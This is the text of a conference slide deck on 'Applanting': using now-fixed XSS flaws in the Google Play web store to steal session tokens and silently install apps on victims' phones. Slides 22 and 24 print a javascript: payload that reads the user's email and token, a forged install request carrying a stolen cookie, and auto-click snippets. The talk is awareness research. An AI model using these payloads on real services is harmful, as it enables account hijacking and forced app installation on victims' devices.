Lets Play Applanting... Ajit Hatti (Co-Founder) Null Open Security - - PowerPoint PPT Presentation

▶
lets play applanting
SMART_READER_LITE
LIVE PREVIEW

Lets Play Applanting... Ajit Hatti (Co-Founder) Null Open Security - - PowerPoint PPT Presentation

Feb 18, 2023 723 likes •1.11k views

Lets Play Applanting... Ajit Hatti (Co-Founder) Null Open Security Community HELLO From INDIA (Technically) Disclaimer Personal Research Personal Views Doesn't represents views of my Employer. Vulnerabilities discussed in the paper

slide-1
SLIDE 1

Lets Play Applanting...

Ajit Hatti

(Co-Founder) Null – Open Security Community

slide-2
SLIDE 2

HELLO From INDIA (Technically…)

slide-3
SLIDE 3

Personal Research Personal Views Doesn't represents views of my Employer. Vulnerabilities discussed in the paper are fixed by Google. .

Disclaimer

slide-4
SLIDE 4

co-founder “n|u - open security community” Working on Security of NetBackup Product family at Symantec Research on Critical Information Infrastructure Security.

Who Am I?

slide-5
SLIDE 5
slide-6
SLIDE 6
slide-7
SLIDE 7
slide-8
SLIDE 8

Can you hack Gmail/Facebook Account? Can you hack the banks and make big money?? 

Thank you, Questions ?

slide-9
SLIDE 9

Let's Play - Applanting

It involves both :

  • 1. Hacking Gmail or a google account

&

  • 2. Then Hack the Bank Accounts to make money
slide-10
SLIDE 10

This Paper is

About: design and gap in Google's Play store along with few XSS vulnerabilities discovered in late last year. Aimed : To create awareness about an interesting attack possibility called Applanting. Not Claims : success of the attack as Google has been very fast and better in fixing the security issues in their services

Definetely Claims : Similar attacks in future on platform other than Android

slide-11
SLIDE 11

Motivations

slide-12
SLIDE 12

Bank Identifies you by your Phone

slide-13
SLIDE 13

Reliable and Cheaper alternative

slide-14
SLIDE 14

The Concern

Your Phone Is your Identity

slide-15
SLIDE 15

Facebook Identifies you by your Phone & So dose Google services…

slide-16
SLIDE 16

Mom, The man at the door says he is my dad, and his Mobile number is saved in your cell phone as “Rascal”, should I open the door?

Your Phone Is your Identity

slide-17
SLIDE 17

Motivations

  • Lt. Col MS Dhoni, Planting Campaign
slide-18
SLIDE 18

The Play Ground

slide-19
SLIDE 19

The Rules

slide-20
SLIDE 20

id=com.nullcon.android&

  • fferType=1&

device=g2ed6a8be00731246& xhr=1& token=QRnhw2PHSRv6icuuUn1z9wyEI_U%3A1354698436000

Between the lines

slide-21
SLIDE 21

Possible Moves:

Steal the Cookie and then…..

slide-22
SLIDE 22

Possible Moves:

ljavascript:alert(initProps['userEmail'] + ' | ' + initProps['token'] + ' | ' + initProps['selectedDeviceId'])

POST /store/install HTTP/1.1 Host: play.google.com Cookie: __utma=<cookie from XSS> Content-Type: application/x-www-form-urlencoded;charset=utf-8 Content-Length: 139 id=com.company.app_name&device=<19 digit phone ID>&xhr=1&token=<41 char token>

slide-23
SLIDE 23

The Flaw

slide-24
SLIDE 24

Possible Moves?

Javascript: document.getElementById('Install').click();

$("a").click(); //by tag. $("a[href='#']").click(); //by tag with href property $(".side_link").click(); //by class $("div#someId a.side_link").click(); // This would work if the link was a child of a div with Id = someId

OR

slide-25
SLIDE 25

The Goal

slide-26
SLIDE 26

Getting the Player to the Ground

slide-27
SLIDE 27

The Action

slide-28
SLIDE 28

What We Can do?

slide-29
SLIDE 29

What We Can Gain?

slide-30
SLIDE 30

What We Can Gain?

slide-31
SLIDE 31

Demonstration

slide-32
SLIDE 32

Big Thanks To

Jon Oberheide (http://jon.oberheide.org/) Thomas Cannot (http://thomascannon.net/) Google

slide-33
SLIDE 33

Future of Applanting

Man in mobile – very powerful exploitation Vector

Applanting is about to start grow and be a Challenge The Challenge : As a third party, you cant differentiate between App installation by Choice or by Force

slide-34
SLIDE 34

Future of Applanting

Applanting on Windows 8 based phones App-Forking -

slide-35
SLIDE 35

Conclusion

Concerns : Mobile is your strongest Identity & single point to screw your life. Applanting : Flaws in App stores can be leveraged to install applications Silently. Challenge : Cant differentiate between user chosen application installation and Applanting. Awareness : Make sure you did installed that app

  • n your mobile.
slide-36
SLIDE 36

Thank you All

& Also BIG Thanks to Team Black Hat Vivek Ramchandran nullcon & Jailbreak team

  • Lt. Col MS Dhoni,

(Inspiring India)